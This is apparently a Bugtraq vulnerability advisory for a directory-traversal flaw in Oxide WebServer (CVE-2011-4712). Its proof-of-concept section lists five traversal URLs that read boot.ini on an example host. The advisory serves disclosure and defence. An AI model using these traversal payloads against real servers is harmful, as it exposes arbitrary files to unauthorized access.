Oxide WebServer Directory Traversal Vulnerability

BID:50845

Info

Oxide WebServer Directory Traversal Vulnerability

Bugtraq ID: 50845
Class: Input Validation Error
CVE: CVE-2011-4712
Remote: Yes
Local: No
Published: Nov 29 2011 12:00AM
Updated: Dec 13 2011 06:28PM
Credit: demonalex
Vulnerable: Oxide WebServer Oxide WebServer 0
Not Vulnerable:

Discussion

Oxide WebServer Directory Traversal Vulnerability

Oxide WebServer is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input submitted to its web interface.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the webserver. Information harvested may aid in launching further attacks.

Exploit / POC

Oxide WebServer Directory Traversal Vulnerability

An attacker can exploit this issue with a web browser.

The following example URLs are available:

http://www.example.com/..\..\..\boot.ini
http://www.example.com/..\\..\\..\\boot.ini
http://www.example.com/..\/..\/..\/boot.ini
http://www.example.com//..\/..\/..\boot.ini
http://www.example.com/.\..\.\..\.\..\boot.ini

Solution / Fix

Oxide WebServer Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Oxide WebServer Directory Traversal Vulnerability

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